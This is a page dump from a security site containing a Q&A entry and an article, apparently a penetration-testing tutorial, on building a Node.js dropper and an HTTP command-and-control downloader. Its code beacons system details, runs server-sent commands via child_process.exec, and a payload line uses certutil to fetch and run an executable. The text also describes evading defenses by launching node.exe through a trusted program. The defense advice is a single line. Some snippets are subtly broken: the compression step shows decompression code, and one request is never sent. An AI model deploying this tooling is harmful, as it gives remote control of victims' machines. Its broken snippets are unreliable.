[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fef_LQLCNYK0hx4V5hqSDLlU6tWGV6J9PXwwZgRsL8vw":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":52,"createdAt":52,"_status":51},860,"How does the article's Downloader (C2) communicate between the server and client, and what information does the client send?","The server listens on a specified port and parses POST data, while the client connects periodically, sending system information such as the hostname and operating system version. The server can then respond with control commands, which the client executes using `child_process.exec`. If no command is received, the client sleeps for a set interval before retrying. This mirrors command-and-control patterns discussed in [Penetration Techniques - Deletion and Bypass of Windows Logs](\u002Fnews\u002Fpenetration-techniques-deletion-and-bypass-of-windows-logs).","\u003Cp>The server listens on a specified port and parses POST data, while the client connects periodically, sending system information such as the hostname and operating system version. The server can then respond with control commands, which the client executes using `child_process.exec`. If no command is received, the client sleeps for a set interval before retrying. This mirrors command-and-control patterns discussed in [Penetration Techniques - Deletion and Bypass of Windows Logs](\u002Fnews\u002Fpenetration-techniques-deletion-and-bypass-of-windows-logs).\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fnode-js-in-penetration-testing-implementation-of-a-downloader\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","how-does-the-articles-downloader-c2-communicate-between-the-server-and-client-an-1777481637914","Downloader, C2, HTTP communication, POST data, command execution",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":48,"updatedAt":49,"createdAt":50,"_status":51},210,"Node.js in Penetration Testing - Implementation of a Downloader","node-js-in-penetration-testing-implementation-of-a-downloader","Learn how to implement a Node.js downloader for penetration testing, covering file release, bypass techniques, and defense recommendations.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Node.js is a JavaScript runtime environment built on Chrome's V8 engine. It uses an event-driven, non-blocking I\u002FO model, making it lightweight and efficient.\u003C\u002Fp>\u003Cp>I recently learned a technique for bypassing active defense using Node.js from an article, so I studied Node.js syntax and am open-sourcing an implementation code for a Downloader, sharing details to note during script development.\u003C\u002Fp>\u003Cp>Learning resource for bypassing active defense with Node.js:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fbbs.pediy.com\u002Fthread-249573.htm\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Basic Concepts\u003C\u002Fli>\u003Cli>File Dropper Implementation using Node.js\u003C\u002Fli>\u003Cli>Downloader Implementation using Node.js\u003C\u002Fli>\u003Cli>Exploitation Ideas\u003C\u002Fli>\u003Cli>Defense Recommendations\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Basic Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Difference between Node.js and JavaScript\u003C\u002Fh3>\u003Cp>JavaScript is a programming language\u003C\u002Fp>\u003Cp>Node.js is a JavaScript runtime environment built on Chrome's V8 engine\u003C\u002Fp>\u003Cp>Although both use .js file extensions on Windows, they differ significantly and have different syntax\u003C\u002Fp>\u003Ch3>Using Node.js\u003C\u002Fh3>\u003Cp>Official documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fnodejs.org\u002Fapi\u002F\u003C\u002Fp>\u003Cp>Chinese resources:\u003C\u002Fp>\u003Cp>http:\u002F\u002Fwww.runoob.com\u002Fnodejs\u002Fnodejs-tutorial.html\u003C\u002Fp>\u003Cp>Download address:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fnodejs.org\u002Fen\u002Fdownload\u002F\u003C\u002Fp>\u003Cp>On Windows, Node.js code is saved in files with .js extension and executed via node.exe\u003C\u002Fp>\u003Cp>Node.js supports third-party packages; modules can be installed using npm command, example as follows:\u003C\u002Fp>\u003Cp>Install web framework module express:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>npm install express\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Use module express:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var express = require('express');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The code covered in this article does not use third-party packages, only uses node.exe from the installation package\u003C\u002Fp>\u003Ch2>0x03 File Release Implementation Using Node.js\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Implementation Approach:\u003C\u002Fh3>\u003Cp>Base64 encode the exe file and store it in a file; during release, first read the file for decoding, then write to the file\u003C\u002Fp>\u003Ch4>1. Read file content, perform base64 encoding, and output to data.txt\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function base64_encode(file) {\u003Cbr>\tvar fs = require('fs');\u003Cbr>\tvar data = fs.readFileSync(file);\u003Cbr>\treturn Buffer.from(data).toString('base64');\u003Cbr>}\u003Cbr>var base64str = base64_encode('test.exe');\u003Cbr>console.log(base64str);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>fs.readFileSync indicates synchronous reading; use fs.readFile for asynchronous reading\u003C\u002Fp>\u003Cp>Execute:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.js base64encode.js &gt;data.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Read the encrypted string saved in data.txt, base64 decode it, and generate a new file test2.exe\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function base64_decode(base64str, file) {\u003Cbr>\tvar data = Buffer.from(base64str, 'base64');\u003Cbr>    fs.writeFileSync(file, data);\u003Cbr>}\u003Cbr>var fs = require('fs');\u003Cbr>var base64str = fs.readFileSync('data.txt');\u003Cbr>console.log(base64str.toString());\u003Cbr>base64_decode(base64str.toString(), 'test2.exe');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>After reading the file using the code var base64str = fs.readFileSync('data.txt');, the variable\u003Cstrong>base64str\u003C\u002Fstrong>needs to be explicitly converted to a string type, i.e., base64str.toString()\u003C\u002Fp>\u003Cp>To reduce file size, incorporate the gzip compression algorithm\u003C\u002Fp>\u003Ch4>1. Read the content from test.exe, perform gzip compression, and save it to the file data.gz\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function gunzip(sourcePath) {\u003Cbr>\tvar zlib = require('zlib');\u003Cbr>\tvar fs = require('fs');\u003Cbr>  \tvar unzip = zlib.createGunzip();\u003Cbr>  \tvar rs = fs.createReadStream(sourcePath);\u003Cbr>  \tvar ws = fs.createWriteStream('test2.exe');\u003Cbr>  \trs.pipe(unzip).pipe(ws);\u003Cbr>}\u003Cbr>gunzip('data.gz');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Read the content from data.gz, perform gzip decompression, and save to file test2.exe\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var zlib = require('zlib');\u003Cbr>var fs = require('fs');\u003Cbr>function gunzip(sourcePath) {\u003Cbr>  var unzip = zlib.createGunzip(); \u003Cbr>  var rs = fs.createReadStream(sourcePath); \u003Cbr>  var ws = fs.createWriteStream('test2.exe');\u003Cbr>  rs.pipe(unzip).pipe(ws);\u003Cbr>}\u003Cbr>gunzip('data.gz');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Downloader implemented using Node.js\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Implementation approach:\u003C\u002Fh3>\u003Ch4>1. Server\u003C\u002Fh4>\u003Cul>\u003Cli>Listen on a specified port, wait for client connections, record the client's IP, connection time, and post data\u003C\u002Fli>\u003Cli>Filter client packets, return control commands to clients meeting condition 1, display command execution results sent by clients meeting condition 2 on the current console, otherwise return a 404 page\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>2. Client\u003C\u002Fh4>\u003Cul>\u003Cli>Connect to a specified server, send post data in a fixed format, including the current system's hostname and operating system version\u003C\u002Fli>\u003Cli>Receive control commands returned by the server, execute them, and then send the results back to the server\u003C\u002Fli>\u003Cli>If the server does not respond, wait for a period of time before sending the post request again\u003C\u002Fli>\u003C\u002Ful>\u003Cp>The following issues need to be considered:\u003C\u002Fp>\u003Ch4>1. Execute cmd commands via Node.js\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function runcmd(command) {\u003Cbr>\tvar childprocess = require('child_process');\u003Cbr>\tchildprocess.exec(command, (err, stdout, stderr) =&gt; {\u003Cbr>  \tif (err) {\u003Cbr>    \t\tconsole.error(err);\u003Cbr>    \t\treturn;\u003Cbr>  \t}\u003Cbr>  \tconsole.log(stdout);\u003Cbr>\t});\u003Cbr>}\u003Cbr>runcmd('whoami');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Implementation of HTTP Communication\u003C\u002Fh4>\u003Cp>Server:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var http = require('http');\u003Cbr>var querystring = require('querystring');\u003Cbr>http.createServer(function (req, res) {\u003Cbr>    \tvar body = '';\u003Cbr>    \tconsole.log('req.url:',req.url);\u003Cbr>    \treq.on('data', function (chunk) {\u003Cbr>\t\tbody += chunk;\u003Cbr>        \tconsole.log(\"chunk:\",chunk);\u003Cbr>    \t});\u003Cbr>    \treq.on('end', function () {\u003Cbr>        \tbody = querystring.parse(body);  \u003Cbr>        \tconsole.log('body:',body);\u003Cbr>        \tres.write('Message from server');\u003Cbr>        \tres.end();\u003Cbr>    \t});\u003Cbr>}).listen(3000,'0.0.0.0');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sendHello(host1,port1){\u003Cbr>\tvar http = require('http');\t\u003Cbr>\tvar querystring = require('querystring');\u003Cbr>\tvar contents = querystring.stringify({\u003Cbr>    \t\tdata1:'str1',\u003Cbr>    \t\tdata2:'str2'\t\u003Cbr>\t});\u003Cbr>\tvar options = {\u003Cbr>    \t\thost: host1,\u003Cbr>    \t\tport: port1,\u003Cbr>    \t\tpath: '\u002F',\u003Cbr>    \t\tmethod:'POST',\u003Cbr>    \t\theaders:{\u003Cbr>        \t\t'Content-Type':'application\u002Fx-www-form-urlencoded',\u003Cbr>        \t\t'Content-Length':contents.length\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tconsole.log('post options:\\n',options);\u003Cbr>\tconsole.log('content:',contents);\u003Cbr>\u003Cbr>\tvar req = http.request(options, function(res){\u003Cbr>    \t\tconsole.log('headers:', res.headers);\u003Cbr>    \t\tvar data1='';\u003Cbr>    \t\tres.on('data', function(chunk){\u003Cbr>      \t\t\tdata1 += chunk;\u003Cbr>    \t\t});\u003Cbr>    \t\tres.on('end', function(){\u003Cbr>      \t\t\tconsole.log('result:',data1)\u003Cbr>    \t\t});\u003Cbr>\t});\u003Cbr>\treq.write(contents);\u003Cbr>\treq.end;\u003Cbr>};\u003Cbr>sendHello('127.0.0.1','3000');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client sends post data to Server, content is data1=str1&amp;data2=str2\u003C\u002Fp>\u003Cp>After receiving the request, Server replies to Client with 'Message from server'\u003C\u002Fp>\u003Ch4>3. Implementation of sleep\u003C\u002Fh4>\u003Cp>Node.js does not support sleep operation by default, it can be implemented as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile (new Date().getTime() &lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>var timeinterval = +'5000';\u003Cbr>sleep(timeinterval);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Convert string type to number by adding + in front\u003C\u002Fp>\u003Ch4>4. Client periodically sends post requests in a loop\u003C\u002Fh4>\u003Cp>Here we need to consider asynchronous and synchronous issues\u003C\u002Fp>\u003Cp>Node.js is asynchronous programming, but the client's periodic loop for sending post requests needs to be implemented synchronously. Test code is as follows:\u003C\u002Fp>\u003Cp>Server:\u003C\u002Fp>\u003Cp>Code same as above\u003C\u002Fp>\u003Cp>Client:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile(new Date().getTime()&lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>function sendHello(host1,port1){\u003Cbr>\tvar http = require('http');\t\u003Cbr>\tvar querystring = require('querystring');\u003Cbr>\tvar contents = querystring.stringify({\u003Cbr>    \t\tdata1:'str1',\u003Cbr>    \t\tdata2:'str2'\t\u003Cbr>\t});\u003Cbr>\tvar options = {\u003Cbr>    \t\thost: host1,\u003Cbr>    \t\tport: port1,\u003Cbr>    \t\tpath: '\u002F',\u003Cbr>    \t\tmethod:'POST',\u003Cbr>    \t\theaders:{\u003Cbr>        \t\t'Content-Type':'application\u002Fx-www-form-urlencoded',\u003Cbr>        \t\t'Content-Length':contents.length\u003Cbr>    \t\t}\u003Cbr>\t}\u003Cbr>\tconsole.log('post options:\\n',options);\u003Cbr>\tconsole.log('content:',contents);\u003Cbr>\u003Cbr>\tvar req = http.request(options, function(res){\u003Cbr>    \t\tconsole.log('headers:', res.headers);\u003Cbr>    \t\tvar data1='';\u003Cbr>    \t\tres.on('data', function(chunk){\u003Cbr>      \t\t\tdata1 += chunk;\u003Cbr>    \t\t});\u003Cbr>    \t\tres.on('end', function(){\u003Cbr>      \t\t\tconsole.log('result:',data1)\u003Cbr>    \t\t});\u003Cbr>\t});\u003Cbr>\treq.write(contents);\u003Cbr>\treq.end;\u003Cbr>};\u003Cbr>while (true)\u003Cbr>{\u003Cbr>\tconsole.log('1');\u003Cbr>\tsleep(5000);\u003Cbr>\tsendHello('127.0.0.1','3000');\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Expected result:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Client sends a POST request every 5 seconds and receives the result\u003C\u002Fp>\u003Cp>\u003Cstrong>Actual result:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The loop executes every 5 seconds, but the Client does not send a request\u003C\u002Fp>\u003Cp>Since our initial plan was not to use npm, we also cannot use the async module to achieve synchronization\u003C\u002Fp>\u003Cp>Finally, I resolved the synchronization issue through method nesting, as shown in the following example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function sleep(milliSeconds){\u003Cbr>\tvar startTime = new Date().getTime();\u003Cbr>\twhile(new Date().getTime() &lt; startTime + milliSeconds);\u003Cbr>}\u003Cbr>function A(){\u003Cbr>\tconsole.log('A');\u003Cbr>\tB();\u003Cbr>}\u003Cbr>function B(){\u003Cbr>\tconsole.log('B');\u003Cbr>\tsleep(5000);\u003Cbr>\tA();\u003Cbr>}\u003Cbr>A();\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>5. Server displays Client's IP\u003C\u002Fh4>\u003Cp>Code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function getClientIp(req) {\u003Cbr>        return req.headers['x-forwarded-for'] ||\u003Cbr>        req.connection.remoteAddress ||\u003Cbr>        req.socket.remoteAddress ||\u003Cbr>        req.connection.socket.remoteAddress;\u003Cbr>};\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Default format is IPv6, for example:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>::ffff:127.0.0.1\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Can be specified as IPv4 by modifying listen parameters\u003C\u002Fp>\u003Cp>Before modification:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>.listen(3000);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After modification:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>.listen(3000,'0.0.0.0');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>6. The server checks the POST request and replies with 404 if it does not meet requirements.\u003C\u002Fh4>\u003Cp>Simply check the content of the body.\u003C\u002Fp>\u003Cp>The complete implementation code has been open-sourced at:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The open-source code is merely an example, used to demonstrate NodeJS functionality.\u003C\u002Fp>\u003Cp>Usage is as follows:\u003C\u002Fp>\u003Cp>First, obtain node.exe from the download address: https:\u002F\u002Fnodejs.org\u002Fen\u002Fdownload\u002F\u003C\u002Fp>\u003Ch4>1. Edit the file Server.js\u003C\u002Fh4>\u003Cp>You can compile the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Command sent to the client: var command\u003C\u002Fli>\u003Cli>Listen on port: .listen(80,'0.0.0.0');\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>2. Start the Server\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.exe Server.js\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Listen on the specified port, wait for client connections, and record the client's IP, connection time, and POST data.\u003C\u002Fp>\u003Cp>Filter client packets, return control commands to first-time clients, display command execution results from clients on the current console for second-time clients, otherwise return a 404 page\u003C\u002Fp>\u003Ch4>3. Edit the file Client.js\u003C\u002Fh4>\u003Cp>Compile the following content:\u003C\u002Fp>\u003Cul>\u003Cli>Server IP: var serverip\u003C\u002Fli>\u003Cli>Server port: var serverport\u003C\u002Fli>\u003Cli>Loop interval time: var timeinterval\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>4. Start Client\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.exe Client.js\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Client will connect to the Server, send fixed-format post data including the current system's hostname and operating system version\u003C\u002Fp>\u003Cp>Then receive control commands returned by the Server, execute them, and send the results back to the Server\u003C\u002Fp>\u003Cp>If the Server does not respond, wait for a period before sending the post request again\u003C\u002Fp>\u003Ch2>0x05 Exploitation Approach\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch4>1. The open-source code supports multiple payloads\u003C\u002Fh4>\u003Cp>The payload can be set to download and execute files, for example\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var command = 'certutil -urlcache -split -f https:\u002F\u002Fgithub.com\u002F3gstudent\u002Ftest\u002Fraw\u002Fmaster\u002Fputty.exe c:\\\\a.exe&amp;&amp;c:\\\\a.exe';\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>For more download and execution commands, refer to the previous article 'Penetration Techniques – Multiple Methods for Downloading Files from GitHub'.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>To send a command for Client exit, use:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var command = 'taskkill \u002Ff \u002Fim node.exe';\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Can be loaded by third-party trusted programs\u003C\u002Fh4>\u003Cp>Reference:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fbbs.pediy.com\u002Fthread-249573.htm\u003C\u002Fp>\u003Cp>t.exe -&gt; node.exe -&gt; main.js\u003C\u002Fp>\u003Cp>Demonstration as shown:\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770017235635_0_2b4b3f0fb8.jpeg\">\u003C\u002Fp>\u003Ch2>0x06 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Monitor and judge the behavior of child processes (node.exe) of t.exe, and intercept if suspicious behavior is detected.\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article details key considerations in Node.js code development and shares an open-source test code for a Downloader to demonstrate Node.js functionalities.\u003C\u002Fp>\u003Cp>It briefly analyzes exploitation approaches in penetration testing and provides defense recommendations.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Node.js is a JavaScript runtime environment built on Chrome's V8 engine. It uses an event-driven, non-blocking I\u002FO model, making it lightweight and efficient.\u003C\u002Fp>\u003Cp>I recently learned a technique for bypassing active defense using Node.js from an article, so I studied Node.js syntax and am open-sourcing an implementation code for a Downloader, sharing details to note during script development.\u003C\u002Fp>\u003Cp>Learning resource for bypassing active defense with Node.js:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fbbs.pediy.com\u002Fthread-249573.htm\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Basic Concepts\u003C\u002Fli>\u003Cli>File Dropper Implementation using Node.js\u003C\u002Fli>\u003Cli>Downloader Implementation using Node.js\u003C\u002Fli>\u003Cli>Exploitation Ideas\u003C\u002Fli>\u003Cli>Defense Recommendations\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Basic Concepts\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Difference between Node.js and JavaScript\u003C\u002Fh3>\u003Cp>JavaScript is a programming language\u003C\u002Fp>\u003Cp>Node.js is a JavaScript runtime environment built on Chrome's V8 engine\u003C\u002Fp>\u003Cp>Although both use .js file extensions on Windows, they differ significantly and have different syntax\u003C\u002Fp>\u003Ch3>Using Node.js\u003C\u002Fh3>\u003Cp>Official documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fnodejs.org\u002Fapi\u002F\u003C\u002Fp>\u003Cp>Chinese resources:\u003C\u002Fp>\u003Cp>http:\u002F\u002Fwww.runoob.com\u002Fnodejs\u002Fnodejs-tutorial.html\u003C\u002Fp>\u003Cp>Download address:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fnodejs.org\u002Fen\u002Fdownload\u002F\u003C\u002Fp>\u003Cp>On Windows, Node.js code is saved in files with .js extension and executed via node.exe\u003C\u002Fp>\u003Cp>Node.js supports third-party packages; modules can be installed using npm command, example as follows:\u003C\u002Fp>\u003Cp>Install web framework module express:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>npm install express\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Use module express:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var express = require('express');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The code covered in this article does not use third-party packages, only uses node.exe from the installation package\u003C\u002Fp>\u003Ch2>0x03 File Release Implementation Using Node.js\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Implementation Approach:\u003C\u002Fh3>\u003Cp>Base64 encode the exe file and store it in a file; during release, first read the file for decoding, then write to the file\u003C\u002Fp>\u003Ch4>1. Read file content, perform base64 encoding, and output to data.txt\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function base64_encode(file) {\u003Cbr>\tvar fs = require('fs');\u003Cbr>\tvar data = fs.readFileSync(file);\u003Cbr>\treturn Buffer.from(data).toString('base64');\u003Cbr>}\u003Cbr>var base64str = base64_encode('test.exe');\u003Cbr>console.log(base64str);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>fs.readFileSync indicates synchronous reading; use fs.readFile for asynchronous reading\u003C\u002Fp>\u003Cp>Execute:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>node.js base64encode.js &gt;data.txt\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Read the encrypted string saved in data.txt, base64 decode it, and generate a new file test2.exe\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function base64_decode(base64str, file) {\u003Cbr>\tvar data = Buffer.from(base64str, 'base64');\u003Cbr>    fs.writeFileSync(file, data);\u003Cbr>}\u003Cbr>var fs = require('fs');\u003Cbr>var base64str = fs.readFileSync('data.txt');\u003Cbr>console.log(base64str.toString());\u003Cbr>base64_decode(base64str.toString(), 'test2.exe');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>After reading the file using the code var base64str = fs.readFileSync('data.txt');, the variable\u003Cstrong>base64str\u003C\u002Fstrong>needs to be explicitly converted to a string type, i.e., base64str.toString()\u003C\u002Fp>\u003Cp>To reduce file size, incorporate the gzip compression algorithm\u003C\u002Fp>\u003Ch4>1. Read the content from test.exe, perform gzip compression, and save it to the file data.gz\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>function gunzip(sourcePath) {\u003Cbr>\tvar zlib = require('zlib');\u003Cbr>\tvar fs = require('fs');\u003Cbr>  \tvar unzip = zlib.createGunzip();\u003Cbr>  \tvar rs = fs.createReadStream(sourcePath);\u003Cbr>  \tvar ws = fs.createWriteStream('test2.exe');\u003Cbr>  \trs.pipe(unzip).pipe(ws);\u003Cbr>}\u003Cbr>gunzip('data.gz');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Read the content from data.gz, perform gzip decompression, and save to file test2.exe\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>var zlib = require('zlib');\u003Cbr>var fs = require('fs');\u003Cbr>function gunzip(sourcePath) {\u003Cbr>  var unzip = zlib.createGunzip(); \u003Cbr>  var rs = fs.createReadStream(sourcePath); \u003Cbr>  var ws = fs.createWriteStream('test2.exe');\u003Cbr>  rs.pipe(unzip).pipe(ws);\u003Cbr>}\u003Cbr>gunzip('data.gz');\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Downloader implemented using Node.js\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>Implementation approach:\u003C\u002Fh3>\u003Ch4>1. Server\u003C\u002Fh4>\u003Cul>\u003Cli>Listen on a specified port, wait for client connections, record the client's IP, connection time, and post data\u003C\u002Fli>\u003Cli>Filter client packets, return control commands to clients meeting condition 1, display command execution results sent by clients meeting condition 2 